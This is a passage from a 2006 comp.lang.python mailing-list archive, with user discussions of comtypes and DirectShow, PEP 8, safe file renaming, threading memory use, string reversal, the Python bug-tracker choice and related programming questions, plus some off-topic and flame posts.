nowadays. Sarcasm is a form of irony. Irony is when what is meant is different from the obvious literal meaning of the statement. >> She had a degree in communications. Which may explain why she knew what irony was when so few people seem to. Like Alanis Morisette said about the song "Isn't it Ironic": What's ironic about the song is that it doesn't actually contain any irony. -- Grant Edwards grante Yow! While I'm in at LEVITTOWN I thought I'd visi.com like to see the NUCLEAR FAMILY!! From pearl.eyes2 at gmail.com Fri Oct 6 11:41:22 2006 From: pearl.eyes2 at gmail.com (NOSHII) Date: 6 Oct 2006 08:41:22 -0700 Subject: hiiii Message-ID: <1160149282.126140.326380@i3g2000cwc.googlegroups.com> Salmaan (R.A.) reports, "On the last day of Sha'baan Rasulullah(SAW) addressed us & said, '0! people there comes over u now a great month, a most blessed month in which lies a night more greater in virtue than a 1000 months. It is a month in which Allah has made Fasting compulsory by day. And has made sunnah the Taraaweeh by night. Whosoever intends drawing near to Allah by performing any virtuous deed, 4 such person shall b the reward like the one who had performed a Fardh in any other time. And whoever performs a Fardh, shall b blessed with the reward of seventy Faraa-idh in any other time". ************************************************* "This is a month, the first of which brings Allah's mercy, the middle of which brings His forgiveness and the last of which brings emancipation from the fire of Jahan-nam." ************************************************* From skip at pobox.com Tue Oct 10 12:42:26 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 10 Oct 2006 11:42:26 -0500 Subject: can regular ol' python do a php include? In-Reply-To: References: Message-ID: <17707.52594.152980.337145@montanaro.dyndns.org> John> What I'm looking for is to be able to use pure HTML, but just John> stick in a line of Python when I need to include something. Take a look at any of a number of different templating systems. Start here: http://wiki.python.org/moin/WebProgramming Skip From bignose+hates-spam at benfinney.id.au Sun Oct 22 19:46:31 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Mon, 23 Oct 2006 09:46:31 +1000 Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python development [repost] References: <1161530388.074372.242310@b28g2000cwb.googlegroups.com> Message-ID: <87pscjud60.fsf@benfinney.id.au> "bcannon at gmail.com" writes: > [my initial post through python-list never seemed to reach c.l.py; > reposting] It did reach us, but in an ugly mass of text with no paragraph breaks. This one is more readable, thanks. > Well, the community stepped up to the challenge and we got plenty of > volunteers! In fact, the call for volunteers has led to an offer for > professional hosting for Roundup from Upfront Systems. The committee > is currently evaluating that offer and will hopefully have a decision > made soon. Great news! I really hope the developers of free-software Python can use free-software tools for managing the process. -- \ "He that would make his own liberty secure must guard even his | `\ enemy from oppression." -- Thomas Paine | _o__) | Ben Finney From steve at holdenweb.com Sun Oct 8 06:38:06 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 08 Oct 2006 11:38:06 +0100 Subject: error handling in user input: is this natural or just laborious In-Reply-To: References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> Message-ID: Lawrence D'Oliveiro wrote: > In message , James Stroud > wrote: > > >>Patently. Tabs should be reserved for tables, for which tabs were named. >>If they were meant to be used for indenting, they would have been >>named "indenters". > Or possibly "inds", in a similarly abbreviative spirit. > > Really? I thought they were for tabulators > . Well, let's ignore the fact that this was probably a tongue-in-cheek reply. Firstly, the article you quote shows clearly that Hollerith invented the tabulator in the late 19th century. C L Scholes was granted the first typewriter paten in 1868, and Remington started manufacture in 1873. So tabs were already used (to produce tables) by the time the tabulator arrived on the scene. Secondly the tabulator was originally simply a device for counting the occurrences of the various values possible for a field (you may know it was invented to assist in the processing of the US census), and when printing was later added the output to the printer wasn't sequential anyway, so no "tab character" was required: the positions of report fields would be hard-programmed into the patch panel. ObPython: PEP 8 (http://www.python.org/dev/peps/pep-0008/) was originally an essay by Guido in which he listed his own personal stylistic preferences. Naturally his opinions were taken seriously because he has proved to be a capable language designer, and when the PEP scheme was introduced his essay (originally published under the title "A Foolish Consistency is the Hobgoblin of Little Minds") was adopted more or less unchanged. It has since been revised, but still refers to the original. Ultimately a conformance with PEP 8 can be taken as an indication that the author has reached a certain stylistic maturity. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From theller at python.net Thu Oct 5 11:26:45 2006 From: theller at python.net (Thomas Heller) Date: Thu, 05 Oct 2006 17:26:45 +0200 Subject: Getting a ValueError with comtypes In-Reply-To: <1160058359.839402.3600@k70g2000cwa.googlegroups.com> References: <1160058359.839402.3600@k70g2000cwa.googlegroups.com> Message-ID: winkatl1213 at yahoo.com schrieb: > Hello, > > I am working with comtypes to interface Microsoft's DirectShow library. Cool, another one using comtypes! > First, I found a Type Library on the internet that was created for > accessing DirectShow from .NET. It seems that DirectShow only comes > with IDL files and no type library. What I sometimes do is to compile the IDL files into a typelib just for creating the comtypes interface wrappers. This may be somewhat dangerous because these typelibs should *not* be registered by accident, so that they do not conflict with other typelibs. Then, I found out with oleview that on my system the IMediaControl interface is described in the 'ActiveMovie control type library (Ver 1.0)', in c:\windows\system32\quartz.dll. So I was able to create the wrapper by calling comtypes.client.GetModule("quartz.dll") - it seems that windows searches the $PATH to find type libraries. > This got me started. > > The following line imports the typelibrary and automatically generates > a wrapper module for DirectShow. > > ds = comtypes.client.GetModule('DirectShow.tlb') > > Next, I can basically start with something like this: > > graph = comtypes.CoCreateInstance(CLSID_FilterGraph, ds.IGraphBuilder, > comtypes.CLSCTX_INPROC_SERVER) > > I had to create the CLSID_FilterGraph parameter myself by doing the > following: > > CLSID_FilterGraph = > comtypes.GUID('{e436ebb3-524f-11ce-9f53-0020af0ba770}') > > One of the first issues I ran into was that the type library I found on > the web didn't expose the IMediaControl interface. So, using the > generated wrapper as a template, I created my own wrapper: > > class IMediaControl(comtypes.IUnknown): > _case_insensitive_ = True > _iid_ = comtypes.GUID('{56A868B1-0AD4-11CE-B03A-0020AF0BA770}') > _idlflags_ = [] > IMediaControl._methods_ = [ > COMMETHOD([], HRESULT, 'Run'), > COMMETHOD([], HRESULT, 'Pause'), > COMMETHOD([], HRESULT, 'Stop'), > COMMETHOD([], HRESULT, 'StopWhenReady'), > COMMETHOD([], HRESULT, 'GetState', > (['in'], c_long, 'msTimeout'), > (['out'], POINTER(c_int), 'pfs' )) > ] > > This got me further. Once I defined the interface, I get access to the > interface by calling: > > control = graph.QueryInterface(IMediaControl) > > This seemed to work. Once I got everything setup, I tried to use this > interface. For example: > > control.Run() > > This generates an exception: > > Traceback (most recent call last): > File "", line 1, in ? > File "ds.py", line 462, in play > control.Run() > ValueError: Procedure probably called with not enough arguments (4 > bytes missing) > > You can get errors like this when using ctypes if you use the wrong > calling convention (CDLL versus WINDLL). > > The method "Run" on the IMediaControl interface doesn't take any > arguments. > > I did notice that some wrapper code uses STDMETHOD versus COMMETHOD, > but changing this didn't make any difference. > > Can anyone explain what might be happening here, or offer some > suggestions? Your mistake here is that IMediaControl derives from IDispatch, not IUnknown. So, control.Run() really calls the first IDispatch method, which is GetTypeInfoCount(), which takes one argument ;-). I'm not 100% sure the following code will work for you because I'm using a comtypes version that's not yet committed to the repository, but it works for me: from comtypes.client import GetModule, CreateObject # create and import the interface wrapper ds = GetModule("quartz.dll") # FilgraphManager is what the wrapper shows as coclass, # you can pass that to CreateObject instead of a CLSID or ProgID. # CreateObject calls QueryInterface for the 'most useful' interface, # so usually there's no need to specify the interface you want: fg = CreateObject(ds.FilgraphManager) # this prints '0' print fg.Run() Thomas From fredrik at pythonware.com Tue Oct 24 11:48:59 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 17:48:59 +0200 Subject: The format of filename In-Reply-To: <453E3144.50307@tim.thechases.com> References: <453E3144.50307@tim.thechases.com> Message-ID: Tim Chase wrote: > Windows seems to be (occasionally) doing the translation as /F > mentions: as leif pointed out, there's no translation. > C:\temp> REM try the same filename convention from dos prompt > C:\temp> type subdir/test.txt > The syntax of the command is incorrect. > C:\temp> REM try with quotes, just in case... > C:\temp> type "subdir/test.txt" > The syntax of the command is incorrect. "type" is built into the command shell. it's the command shell that refuses to deal with forward slashes, not the underlying API:s. > Windows seems to doing the translation inconsistently (I know > that comes as a shock...) it's a documented inconsistency, which is preserved mostly for historical reasons (the shell syntax hasn't changed much since the CP/M days) From hanumizzle at gmail.com Sun Oct 29 01:47:40 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sun, 29 Oct 2006 02:47:40 -0400 Subject: what are the most frequently used functions? In-Reply-To: <1162101329.856825.186110@e64g2000cwd.googlegroups.com> References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com> <1162101329.856825.186110@e64g2000cwd.googlegroups.com> Message-ID: <463ff4860610282347i345afdd1ra1778c7a19ee7819@mail.gmail.com> On 28 Oct 2006 22:55:29 -0700, Xah Lee wrote: > Barry Margolin wrote: > ? For Lisp, just look for symbols that are immediately preceded by ( > ...? > > Thanks a lot! great thought. An even cleaner way to do this would be to iterate over the list s-exprs in any given lisp source, use read on them, then just use car on the resulting list (or first for the infinitely superior common lisp language). This will get special forms and actual functions indiscriminately, but they may be seen as equivalent from a sloppy perspective. -- Theerasak From tjreedy at udel.edu Fri Oct 6 17:54:54 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 6 Oct 2006 17:54:54 -0400 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com><45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><45254B18.2090806@v.loewis.de> Message-ID: "Giovanni Bajo" wrote in message news:YzoVg.137036$zy5.1843214 at twister1.libero.it... > skip at pobox.com wrote: > Are bug-tracker configuration issues so critical that having to wait > 48-72hrs > to have them fixed is absolutely unacceptable for Python development? It > looks > like an overexaggeration. People easily cope with 2-3 days of SVN > freezing, > when they are politically (rather than technically) stopped from > committing to > SVN. I guess they can wait 48 hrs to be able to close that bug, or open > that > other one, or run that query. I think tracker downtime is quite possibly worse than repository downtime. The small group of developers with SVN commit privileges are committed enough to come back and commit their code a couple of days later. A member of the community wanting to make a bug report is less likely too. As it is, when SF is up, people think having to register or even log in is too much of a burden. When SF is down, people sometimes send tracker items to the pydev list instead, when means someone else (who?) has to put in the tracker or it gets lost. From grahn+nntp at snipabacken.dyndns.org Tue Oct 17 04:56:59 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 17 Oct 2006 08:56:59 GMT Subject: A Universe Set References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> <0dMYg.105676$5o5.58612@tornado.texas.rr.com> Message-ID: On Mon, 16 Oct 2006 09:21:11 -0500, skip at pobox.com wrote: > [me] > >> - the wildcard object, which compares equal to everything else > [Paul] > Paul> class MatchAny(object): > Paul> def __cmp__(self,other): > Paul> return 0 > > Paul> wild = MatchAny() FWIW, I define __eq__ in the one I (infrequently) use. > ... > > You're at the mercy of the comparison machinery implemented by individual > classes. Executing this script (using any of Python 2.3 through what's > currently in the SVN repository): ... Oh. /Is/ there a way of making it work, then? If we ignore the problems with having such objects in the first place, that is. /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From hellomarch at gmail.com Thu Oct 26 12:37:09 2006 From: hellomarch at gmail.com (march) Date: 26 Oct 2006 09:37:09 -0700 Subject: Too little comments, References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com> Message-ID: <1161880629.255422.57910@h48g2000cwc.googlegroups.com> There're too little comments, and too much Chinese characters, and maybe you should give us an introduction about what renju is. From Maria.Reinhammar at accalon.com Wed Oct 11 03:48:42 2006 From: Maria.Reinhammar at accalon.com (MaR) Date: 11 Oct 2006 00:48:42 -0700 Subject: default variable in python $_ In-Reply-To: <1160518987.056948.205930@i42g2000cwa.googlegroups.com> References: <1160518987.056948.205930@i42g2000cwa.googlegroups.com> Message-ID: <1160552922.041176.283170@e3g2000cwe.googlegroups.com> rh0dium wrote: > Hi all, > > So I have this simple little routine.. say like this.. > > > def foo() > return {"a":"b", "b":"c"} > > if foo(): > print "Have foo" > > > Now I want the dictionary item a (ie. b) > > How can I do it the above way or do I still have to go like this.. > > def foo() > return {"a":"b", "b":"c"} > > z = foo() > if z: > print "Have foo" > print z['a'] > > This is where $_ in perl is awesome - There must be a default variable > in python right? As said in earlier response, such a default variable is *dangerous* at best! Not knowing much about Perl and guessing that the $_ is a global storage space, my immediate thought is; What happens if you have multiple threads? The example is too simplified to give any clues as to what you are needing the feature for. Guessing that you want to generate some dict() and use the result once and then discard, write: foo_default = 1 def foo(): return(generate_some_dict()) you can further write foo().get('a', foo_default) giving compact code and ensuring that you get a well defined result regardless what dictionary keys there are. From hanumizzle at gmail.com Fri Oct 6 02:06:21 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 02:06:21 -0400 Subject: help on pickle tool In-Reply-To: <1160114085.944898.224340@k70g2000cwa.googlegroups.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> Message-ID: <463ff4860610052306x7e5c807fld458f128d6f8d08e@mail.gmail.com> On 5 Oct 2006 22:54:46 -0700, MonkeeSage wrote: > hanumizzle wrote: > > Why a subset? > > I don't think JSON is a subset of YAML. Apparent slip of the fingers by OP. From JSON website: JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999. JSON is a text format that is completely language independent but uses conventions that are familiar to programmers of the C-family of languages, including C, C++, C#, Java, JavaScript, Perl, Python, and many others. These properties make JSON an ideal data-interchange language. I'm happy with my Pythonesque YAML syntax, thank you. :) From metaperl at gmail.com Mon Oct 16 09:59:35 2006 From: metaperl at gmail.com (metaperl) Date: 16 Oct 2006 06:59:35 -0700 Subject: Web Hosting In-Reply-To: <1160893959.465993.138820@i42g2000cwa.googlegroups.com> References: <1160893959.465993.138820@i42g2000cwa.googlegroups.com> Message-ID: <1161007175.224477.109950@m7g2000cwm.googlegroups.com> Sir Psycho wrote: > Hi, > > With web hosting, does the ISP you chose have to support the framework > you work with as well? > > Im looking at making a site in Python, however, Im lost as to what ISPs > actually support. We support any and every thing Python and we are a not-for-profit cooperative. Check us out: http://www.HCOOP.net irc://irc.freenode.org/#hcoop From ilias at lazaridis.com Thu Oct 12 01:08:43 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 11 Oct 2006 22:08:43 -0700 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> <1160622943.197384.91340@m7g2000cwm.googlegroups.com> <1160627775.972642.14190@e3g2000cwe.googlegroups.com> Message-ID: <1160629723.119510.229190@k70g2000cwa.googlegroups.com> Robert Kern wrote: > Ilias Lazaridis wrote: > > Robert Kern wrote: > >> Ilias Lazaridis wrote: > >>> Robert Kern wrote: > >>>> No, he's just a troll that enjoys telling everyone what to do. Don't try to get > >>>> him to contribute anything useful; it won't work. > >>> Mr. Kern! Seeing you working on such a seemingly excellent product, I > >>> am really wondering about your tenor. > >> I am confident that it is accurately aimed. Furthermore, I am confident that the > >> record and the rest of this community will back me up on it. I've told you > >> before that this community will not tolerate your bad behavior. How many times > >> does this have to be demonstrated before you will leave? > > > > Please stay in-topic > > Asking disruptive individuals to leave is always on-topic. please realize: the only disruptive individual at this point is you. > Now, please go away. of course I stay. > I will happily and pleasantly converse with anyone who has questions about > Traits or any of Enthought's other tools if they ask in good faith. I believe > that the record shows that you do not do so. Really, I'm quite nice and helpful > to other people. Sorry to say, but your behaviour is very ungentle. I've place a simple question. If you are really helpful to other people, then pleas just answer. Many other people follow this discussion, and many will see the question within the archives... unsanswered. " looks interesting. what about persistency? http://groups.google.com/group/comp.lang.python/msg/8e89ed163b978fe2 " As far as I can see, there's no persistency binding available. Is one planned? . From fabio at NOSPAMchelly.net Wed Oct 18 08:06:32 2006 From: fabio at NOSPAMchelly.net (Fabio Chelly) Date: Wed, 18 Oct 2006 14:06:32 +0200 Subject: making a valid file name... References: Message-ID: You should use the s.translate() It's 100x faster: #Creates the translation table ValidChars = ":./,^0123456789abcdefghijklmnopqrstuvwxyz" InvalidChars = "".join([chr(i) for i in range(256) if not chr(i).lower() in ValidChars]) TranslationTable = "".join([chr(i) for i in range(256)]) def valid_filename(fname): return fname.translate(TranslationTable, InvalidChars) >> valid = >> ':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ' >> >> if I have a string called fname I want to go through each character in >> the filename and if it is not a valid character, then I want >> to replace >> it with a space. -- Ceci est une signature automatique de MesNews. Site : http://www.mesnews.net From bj_666 at gmx.net Sun Oct 22 10:53:47 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Sun, 22 Oct 2006 16:53:47 +0200 Subject: implementation of "in" that returns the object. References: Message-ID: In , Jorge Vargas wrote: > I need to check if an object is in a list AND keep a reference to the > object I have done it this way but is there a better one? But you already *have* a reference to that object!? >>>> def inplusplus(value,listObj): > ... for i in listObj: > ... if i is value: > ... return value > ... return False > ... def my_in(value, sequence): if value in sequence: return value else: return False Ciao, Marc 'BlackJack' Rintsch From pandyacus.xspam at xspam.sbcglobal.net Sat Oct 28 13:54:09 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Sat, 28 Oct 2006 17:54:09 GMT Subject: Safely renaming a file without overwriting References: Message-ID: <87odrw1g2x.fsf@nandi.2wire.net> Steven D'Aprano writes: > I want to rename a file, but only if the destination file name doesn't > already exist. > > I can do this: > > if os.path.exists(dest): > # skip file, raise an exception, make a backup... > do_something_else() > else: > os.rename(src, dest) > > > But on a multi-user system, it is possible that dest is created in the > time period between checking if it exists and attempting the rename. > > Is there any way to prevent this? Or do I just try to keep the check and > the rename as close together as possible, minimizing the chances and > hoping for the best? > > > -- > Steven. The answer, unfortunately, depends on the platform. I haven't tried, but it looks like rename() will fail on Win32 if the file already exists. On Unix, you can use link to rename the file - which will not overwrite the file if it exists. Then use unlink to remove the src file. Chetan From http Tue Oct 24 03:47:55 2006 From: http (Paul Rubin) Date: 24 Oct 2006 00:47:55 -0700 Subject: Protecting against SQL injection References: Message-ID: <7x1woy889g.fsf@ruckus.brouhaha.com> Tor Erik Soenvisen writes: > # Protect against SQL injection by escaping quotes Don't ever do that, safe or not. Use query parameters instead. That's what they're for. From jeremy+complangpython at jeremysanders.net Tue Oct 3 12:44:53 2006 From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders) Date: Tue, 03 Oct 2006 17:44:53 +0100 Subject: Best way to handle large lists? References: <7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com> Message-ID: Jeremy Sanders wrote: > Chaz Ginger wrote: > >> What would sets do for me over lists? > > It's faster to tell whether something is in a set or dict than in a list > (for some minimum size). As a footnote, this program import random num = 100000 a = set( range(num) ) for i in range(100000): x = random.randint(0, num-1) in a completes in less than a second, whereas import random num = 100000 a = range(num) for i in range(100000): x = random.randint(0, num-1) in a takes a long time on my computer. Jeremy -- Jeremy Sanders http://www.jeremysanders.net/ From fakeaddress at nowhere.org Tue Oct 24 01:32:08 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Tue, 24 Oct 2006 05:32:08 GMT Subject: multythreading app memory consumption In-Reply-To: References: Message-ID: Roman Petrichev wrote: > Hi folks. > I've just faced with very nasty memory consumption problem. > I have a multythreaded app with 150 threads [...] > > The test app code: > > > Q = Queue.Queue() > for i in rez: #rez length - 5000 > Q.put(i) > > > def checker(): > while True: > try: > url = Q.get() > except Queue.Empty: > break > try: > opener = urllib2.urlopen(url) > data = opener.read() > opener.close() > except: > sys.stderr.write('ERROR: %s\n' % traceback.format_exc()) > try: > opener.close() > except: > pass > continue > print len(data) > > > for i in xrange(150): > new_thread = threading.Thread(target=checker) > new_thread.start() Don't know if this is the heart of your problem, but there's no limit to how big "data" could be, after data = opener.read() Furthermore, you keep it until "data" gets over-written the next time through the loop. You might try restructuring checker() to make data local to one iteration, as in: def checker(): while True: onecheck() def onecheck(): try: url = Q.get() except Queue.Empty: break try: opener = urllib2.urlopen(url) data = opener.read() opener.close() print len(data) except: sys.stderr.write('ERROR: %s\n' % traceback.format_exc()) try: opener.close() except: pass -- --Bryan From deets at nospam.web.de Fri Oct 6 05:50:42 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 06 Oct 2006 11:50:42 +0200 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton In-Reply-To: <1160100015.211649.310540@m73g2000cwd.googlegroups.com> References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> Message-ID: <4omn7jFfe26cU1@uni-berlin.de> >> No, you should have found a forum where you know that the topic is >> appropriate -- even if that restricts it to your own website. > > ??? my website is not a forum (and I'm currently reducing it to the > minimum necessary information.) You obviously lack the skill to comprehend that a forum isn't meant to be a web-forum, but more generally a place where you can express your opinions. Which is your website by all means. So, go, restrict yourself and voice your private opinions there. Not here. > and once more: this topic _is_ appropriate for a python / ruby / java > crosspost. Why should a private quabble over some neglectable open source contributions be of any interest to a community, let alone even three of them? > really very important (if you don't look to much at the subject but the > message contents). All that I have seen were some accusations + a few ridiculously small subversion entries that showed default parameters changed and the like. This is on the same level of interest to the communities of python, ruby & java as the color of my socks this morning - a deep black with cute little skulls imprinted. Diez From jeff at taupro.com Wed Oct 11 09:57:01 2006 From: jeff at taupro.com (Jeff Rush) Date: Wed, 11 Oct 2006 08:57:01 -0500 Subject: Seeking Publicity Coordinator for PyCon 2007 Message-ID: <452CF82D.3010006@taupro.com> The PyCon organizers are looking for someone to volunteer as publicity coordinator for PyCon 2007. This year we have started planning sufficiently in advance that we'd like to get some press coverage in print magazines. What is involved, you ask? 1. Brainstorm/collect a list of candidate publications for press releases. 2. Post the lead time and submission requirements for each to the wiki. 3. Develop or work with others to develop a (textual) press release layout. 4. At the appropriate time (e.g. when certain details are settled such as keynote speakers), actually submit the press release. There is a wiki page at the following on which to collect ideas on where to submit a press release: http://us.pycon.org/TX2007/PublicityIdeas That's it! It really shouldn't take a lot of time; a bit of surfing, perhaps a few email queries. -Jeff From ak at silmarill.org Thu Oct 19 23:41:40 2006 From: ak at silmarill.org (Rainy) Date: 19 Oct 2006 20:41:40 -0700 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <1161315699.945638.153750@k70g2000cwa.googlegroups.com> Brad wrote: > John Salerno wrote: > > rick wrote: > >> Why can't Python have a reverse() function/method like Ruby? > > > > I'm not steeped enough in daily programming to argue that it isn't > > necessary, but my question is why do you need to reverse strings? Is it > > something that happens often enough to warrant a method for it? > > I'm home for lunch so my email addy is different. > > No, it doesn't happen very often, but when I need to reverse something > (usually a list or a string). I can never remember right of the top of > my head how to do so in Python. I always have to Google for an answer or > refer back to old code. > > IMO, I should be able to intuitively know how to do this. Python is so > user-friendly most every place else... why can it not be so here? > > I wrote this so I'll never have to remember this again: > > def invert(invertable_object): > try: > print invertable_object[::-1] > return invertable_object[::-1] > except: > print 'Object not invertable' > return 1 > > invert([1,2,3,4]) > invert('string') > invert({1:2, 3:4}) A sequence can be reversed with a .reverse() method. For my needs, in 7 years of programming, I never needed to reverse a string. I think it sounds like a reasonable rule of thumb to set aside things that you do fairly often (let's say at least once a week or once in two weeks as you write code, on average), and make sure you have shortcuts for all of them, ways to write them quickly and easily, and make it easy to remember as well. All other things, things you do less often, need not be done so quickly and easily. Otherwise, I think you'll end up with a language that has too many built in functions, methods, ins, outs and what have you's. If I had to reverse a string I'd first try the reverse method (although my immediate feeling would be that it's probably not there), and then I'd use a few lines to make a list, reverse it and join it. I don't usually use one-liners. I would reason to myself that once in a few years it's not a hardship to use a couple extra lines of code. But maybe I'm missing something and in some problem domain there is a frequent need to reverse a string? I saw your comment about countdown on a launch of a shuttle, but that's not convincing to me, to be honest, because if you wished to do anything as you count down (i.e. print the next second number), you'd just make a loop and you can make range() command reverse, or you can just reverse the list it returns. It's a little strange; you do get a feeling that reversing a string might be useful sometime or other, but the only thing I can think of is palindromes, as someone else mentioned, which is used in some textbooks. However, isn't it a little silly to add a function or a method to language to make each textbook example into a one-liner? From steve at holdenweb.com Tue Oct 10 11:21:53 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Oct 2006 16:21:53 +0100 Subject: can regular ol' python do a php include? In-Reply-To: References: Message-ID: John Salerno wrote: > Fredrik Lundh wrote: > > >>you don't even need anything from the standard library to inserting output >>from one function into given text... >> >> text = "... my page with %(foo)s markers ..." >> >> print text % dict(foo=function()) > > > Wow, thanks. So if I have a file called header.html that contains all my > header markup, I could just insert this line into my html file? (which I > suppose would become a py file) > > print open('header.html').read() > > Not quite as elegant as include('header.html'), but it seems like it > would work. Don't overlook the fact that any *real* percent signs you want in your template content should be represented as a doubled percent sign: %% regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From hanumizzle at gmail.com Fri Oct 6 03:00:44 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 03:00:44 -0400 Subject: Block Structure Parsing In-Reply-To: References: Message-ID: <463ff4860610060000r6495e927kee2b9884e3f1326f@mail.gmail.com> On 10/4/06, Blacktiger wrote: > Hi all, I'm new to this list because I had a question about parsing > python block structure. I am taking a programming languages course > this semester and for our final project we are writing an interperator > in scheme(awful language) for whatever language that we want. The > language that I want to do is one I have been designing for a little > while and it shares some syntactic features of Python; most notably > the block structure. What dialect of scheme are you limited to, if any? Because PLT and Chicken appear to have the widest selection of extensions, it might be good to look at them. Already on the chicken website (the cumbersome http://www.call-with-current-continuation.org/eggs/) I found this: http://www.iro.umontreal.ca/~boucherd/Lalr/documentation/lalr.html. Might be what you need, might not, can't be sure. Or you can just cheat, use s-exp syntax with unique semantics, and then use (read) as your 'parser'. :) -- Theerasak From jmcmonagle at velseis.com.au Tue Oct 24 22:29:46 2006 From: jmcmonagle at velseis.com.au (John McMonagle) Date: Wed, 25 Oct 2006 12:29:46 +1000 Subject: How to find out the directory that the py file is in? In-Reply-To: References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com> <1161738784.293256.113900@m73g2000cwd.googlegroups.com> Message-ID: <1161743386.5508.15.camel@kuepper.vels-int.com.au> On Wed, 2006-10-25 at 02:49 +0100, Steve Holden wrote: > PengYu.UT at gmail.com wrote: > > > > On Oct 24, 7:01 pm, Gabriel Genellina wrote: > > > >>At Tuesday 24/10/2006 20:39, PengYu... at gmail.com wrote: > >> > >> > >>>I have the following python script and some_command in the same > >>>directory. I have to call the python script from that directory. > >>>Otherwise, some_command won't be found. I'm wondering how to make the > >>>following script working no matter what the working directory is.print > > > > > >>os.path.abspath(__file__) > > > > > > How to get the absolute dir name which the file is in? Is there any > > function can be called easily? > > > > Thanks, > > Peng > > > > That would be > > os.path.split(os.path.abspath(__file__))[0] > > You *are* planning to read the documentation at some stage, right? ;-) > More simple: os.path.dirname(os.path.abspath(__file__)) -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From http Fri Oct 6 04:40:32 2006 From: http (Paul Rubin) Date: 06 Oct 2006 01:40:32 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de> Message-ID: <7x3ba1ltvj.fsf@ruckus.brouhaha.com> "Giovanni Bajo" writes: > Are bug-tracker configuration issues so critical that having to wait > 48-72hrs to have them fixed is absolutely unacceptable for Python > development? It looks like an overexaggeration. People easily cope > with 2-3 days of SVN freezing, when they are politically (rather > than technically) stopped from committing to SVN. I guess they can > wait 48 hrs to be able to close that bug, or open that other one, or > run that query. How often should a tracker freeze anyway? People with no technical knowledge at all run BBS systems that almost never freeze. Is a tracker somehow more failure-prone? It's just a special purpose BBS, I'd have thought. From accurrent at gmail.com Wed Oct 4 21:26:41 2006 From: accurrent at gmail.com (accurrent at gmail.com) Date: 4 Oct 2006 18:26:41 -0700 Subject: CGI Tutorial In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> Message-ID: <1160011601.862923.193130@m7g2000cwm.googlegroups.com> Several times you improperly spell "syntax" "sintax". Other than that it appears to be an excellent tutorial. Clodoaldo Pinto Neto wrote: > I'm just building a Python CGI Tutorial and would appreciate any > feedback from the many experts in this list. > > Regards, Clodoaldo Pinto Neto From sjmachin at lexicon.net Thu Oct 12 18:38:07 2006 From: sjmachin at lexicon.net (John Machin) Date: 12 Oct 2006 15:38:07 -0700 Subject: Insert characters into string based on re ? In-Reply-To: <1160692180.139410.302410@f16g2000cwb.googlegroups.com> References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com> Message-ID: <1160692687.727327.216970@i3g2000cwc.googlegroups.com> Matt wrote: > I am attempting to reformat a string, inserting newlines before certain > phrases. For example, in formatting SQL, I want to start a new line at > each JOIN condition. Noting that strings are immutable, I thought it > best to spllit the string at the key points, then join with '\n'. > > Regexps can seem the best way to identify the points in the string > ('LEFT.*JOIN' to cover 'LEFT OUTER JOIN' and 'LEFT JOIN'), since I need > to identify multiple locationg in the string. However, the re.split > method returns the list without the split phrases Not without some minor effort on your part :-) See below. > and re.findall does > not seem useful for this operation. > > Suggestions? Read the fine manual: """ split( pattern, 